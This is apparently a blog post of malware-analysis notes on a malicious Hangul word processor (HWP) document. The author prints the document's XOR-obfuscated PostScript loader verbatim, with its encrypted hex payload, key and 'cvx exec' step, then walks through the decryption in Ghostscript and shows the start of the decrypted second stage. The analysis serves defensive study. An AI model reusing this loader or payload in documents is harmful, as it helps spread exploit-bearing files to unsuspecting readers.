Malicious postscript code in hwp
I found a hwp(Hangul word processor) file which contains malicious postscript code.
I take some analysis notes for my memo.
Malicious postscript code is as following.
I’ve googled and found some coding rules.
・Anything following a % on a postscript program line is ignored by the interpreter.
・initialize variable i with value 0
・set each element of array ar to value n
・exch Exchange the top two values of stack.
・dup Duplicate the top element of stack.
・logical 'and' operator. a&&b
・<hexadecimal string> cvx makes string executable
・<hexadecimal string> cvx exec makes string executable and executes proc
Considering the above, the malicious code can be expressed like this.
with comments..
decrypt shellcode by XOR
and execute it.
Now, let's debugging on Ghostscript.
#Ghost script has memory size limistation. So we cant decrypt full of shellcode in this experiment.
We can observe part of decrypted shellcode by "X240 =" command.
A more detailed..
pstack : non-distructive display of whole stack.
We can observe that "98" (0x62 : b) is put to X240[342].
I take some analysis notes for my memo.
Malicious postscript code is as following.
/X240 <0632E7CB1D9F2067FDA9197F289976CC…snip…> def %kshvudgsjsye3 0 1 X240 length 1 sub % %kshvudgsjsye3 {/Y31 exch 1 2 and pop def %kshvudgsjsye3 X240 dup Y31 get <296BD6EB2CA90321BBEF5F5F4CFC10EC> Y31 15 and /Y104 8 def get xor Y31 exch put} for X240 cvx % exec
I’ve googled and found some coding rules.
・Anything following a % on a postscript program line is ignored by the interpreter.
・initialize variable i with value 0
/i 0 def
・set each element of array ar to value n
0 1 ar length 1 sub {ar exch n put} for
・exch Exchange the top two values of stack.
・dup Duplicate the top element of stack.
・logical 'and' operator. a&&b
a b and
・<hexadecimal string> cvx makes string executable
・<hexadecimal string> cvx exec makes string executable and executes proc
Considering the above, the malicious code can be expressed like this.
/X240 <0632E7CB1D9F2067FDA9197F289976CC…snip…> def 0 1 X240 length 1 sub { /Y31 exch def X240 dup Y31 get <296BD6EB2CA90321BBEF5F5F4CFC10EC> Y31 15 and /Y104 8 def %<----dummy code. ignore this line. get xor Y31 exch put } for X240 cvx exec
with comments..
/X240 <0632E7CB1D9F2067FDA9197F289976CC…snip…> def % X240=<0632E7CB1D9F2067FDA9197F289976CC…snip…> 0 1 X240 length 1 sub % stack is now… (X240’s length-1), 1, 0 top..bottom { /Y31 exch def % Y31 is defined as X240’s length-1 : index of encrypted string X240 dup % duplicate encrypted string Y31 get % get 1 byte. X240[Y31] <296BD6EB2CA90321BBEF5F5F4CFC10EC> %push XOR key string to stack Y31 15 and % resolve index of XOR key string get % get 1 byte. XOR_key[index] xor % conduct X240[Y31] ^ XOR_key[index] Y31 exch % push index of encrypted string to stack and exchange top 2 elements of stack % (Y31 and XORed val) put % put XORed value to X240[Y31] } for % go to next loop. Y31-1 X240 cvx exec % make X240 executable and exec.This malicious postscript code is,
decrypt shellcode by XOR
and execute it.
Now, let's debugging on Ghostscript.
#Ghost script has memory size limistation. So we cant decrypt full of shellcode in this experiment.
$ /usr/local/bin/gs GPL Ghostscript 9.52 (2020-03-19) Copyright (C) 2020 Artifex Software, Inc. All rights reserved. This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY: see the file COPYING for details. GS>/X240 <0632E7CB1D9F2067FDA9197F289976CC0632E4CB75982340C99D3E266C98758A09448FD80C81734ED49D767F289976CC0632E2CB1D896253C98E267F289976CC0632E3CB1C896744DDCF70067ADC21DA0A5AE6DB0CCD66479BC006686CA526CC4819A48A55896744DDCF700674DC21DA0A53F68F49CF230EE2D67F6E7ADF21D46F5BF68F49CF230EE2DE6F7F7DCA33DF182EF68A5EDB62589B8B3A396CD349DD184BE7DD0F9B32149B8E2D2D2D8530884C0DF6C4759831018AD97C6E6C9D629E4812F68F49CF230EE2DE6C7F37DC49DD194BB78743C867018AD97C6E7CDC6BCC705AE7CB4DC56C40DFCF227F3E996089481FF6DA1A8A32118BCF247F63A521D8095AE0C81D9C31119B9C2B2D259277CC4D0EB0960CDB6651DE8E2B7F7CDC21CC705DF6DA0CDA76439B947F7015CD25CC185DF5DA199B3301C89B2D36229B30884C0DF6DB0C9823788ADA7F3329927798414BE7CB5FDC61> def GS>0 1 X240 length 1 sub GS<3>{ /Y31 exch def X240 dup Y31 get <296BD6EB2CA90321BBEF5F5F4CFC10EC> Y31 15 and get xor Y31 exch put } for GS>X240 = /Y1 16#FFFF def /Y2 Y1 array def /Y3 (poor) def /Y4 1 array def /Y5 0 def /Y6 16#100 def /Y7 Y6 array def /Y8 16#8 def /Y9 16#18F0 def /Y10 16#31E array def /Y11 16#215 array def /Y12 16#1 array def /Y13 { Y10 aload 16#10 { Y11 aload } repeat 16#100 { /Y14 16#1520 string def} repeat 0 1 Y6 1 sub { /Y15 16#1520 string def 0 1 Y15 length 1 sub GS>
We can observe part of decrypted shellcode by "X240 =" command.
GS>X240 = /Y1 16#FFFF def /Y2 Y1 array def /Y3 (poor) def /Y4 1 array def /Y5 0 def /Y6 16#100 def /Y7 Y6 array def /Y8 16#8 def /Y9 16#18F0 def /Y10 16#31E array def /Y11 16#215 array def /Y12 16#1 array def /Y13 { Y10 aload 16#10 { Y11 aload } repeat 16#100 { /Y14 16#1520 string def} repeat 0 1 Y6 1 sub { /Y15 16#1520 string def 0 1 Y15 length 1 sub
A more detailed..
pstack : non-distructive display of whole stack.
$ /usr/local/bin/gs GPL Ghostscript 9.52 (2020-03-19) Copyright (C) 2020 Artifex Software, Inc. All rights reserved. This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY: see the file COPYING for details. GS>/X240 <0632E7CB1D9F2067FDA9197F289976CC0632E4CB75982340C99D3E266C98758A09448FD80C81734ED49D767F289976CC0632E2CB1D896253C98E267F289976CC0632E3CB1C896744DDCF70067ADC21DA0A5AE6DB0CCD66479BC006686CA526CC4819A48A55896744DDCF700674DC21DA0A53F68F49CF230EE2D67F6E7ADF21D46F5BF68F49CF230EE2DE6F7F7DCA33DF182EF68A5EDB62589B8B3A396CD349DD184BE7DD0F9B32149B8E2D2D2D8530884C0DF6C4759831018AD97C6E6C9D629E4812F68F49CF230EE2DE6C7F37DC49DD194BB78743C867018AD97C6E7CDC6BCC705AE7CB4DC56C40DFCF227F3E996089481FF6DA1A8A32118BCF247F63A521D8095AE0C81D9C31119B9C2B2D259277CC4D0EB0960CDB6651DE8E2B7F7CDC21CC705DF6DA0CDA76439B947F7015CD25CC185DF5DA199B3301C89B2D36229B30884C0DF6DB0C9823788ADA7F3329927798414BE7CB5FDC61> def GS>0 1 X240 length 1 sub GS<3>pstack 342 1 0 GS<3>/Y31 exch def GS<2>pstack 1 0 GS<2>Y31 = 342 GS<2>X240 dup GS<4>pstack (\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...) (\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...) 1 0 GS<4>Y31 get GS<4>pstack 97 (\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...) 1 0 GS<4><296BD6EB2CA90321BBEF5F5F4CFC10EC> GS<5>pstack (\)k\326\353,\251\003!\273\357__L\374\020\354) 97 (\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...) 1 0 GS<5>Y31 15 and GS<6>pstack 6 (\)k\326\353,\251\003!\273\357__L\374\020\354) 97 (\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...) 1 0 GS<6>get GS<5>pstack 3 97 (\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...) 1 0 GS<5>xor GS<4>pstack 98 (\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...) 1 0 GS<4>Y31 = 342 GS<4>Y31 exch GS<5>pstack 98 342 (\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...) 1 0 GS<5>put GS<2>pstack 1 0 GS<2>X240 = 2??? g??(?v?2??u?#@ɝ>&l?u? D?? ?sNԝv(?v?2???bSɎ&(?v?2???gD??pz?!? Z?? ?fG??hl?&?H??U?gD??pt?!? ??u?1??|nl?b?H??I?#??l7?I?K??C?g??|n|?k?pZ??M?l@??">?`?H???2??$c?!? Z???1??+-%?w?M?? ?fQގ+|?!?p]?? ?? ?vC??p?%?]???3ț-6"?0?L ?#x??3)?w?AK??_?b GS<2>
We can observe that "98" (0x62 : b) is put to X240[342].
GS<2>X240 = 2??? g??(?v?2??u?#@ɝ>&l?u? D?? ?sNԝv(?v?2???bSɎ&(?v?2???gD??pz?!? Z?? ?fG??hl?&?H??U?gD??pt?!? ??u?1??|nl?b?H??I?#??l7?I?K??C?g??|n|?k?pZ??M?l@??">?`?H???2??$c?!? Z???1??+-%?w?M?? ?fQގ+|?!?p]?? ?? ?vC??p?%?]???3ț-6"?0?L ?#x??3)?w?AK??_?b
Comments
Post a Comment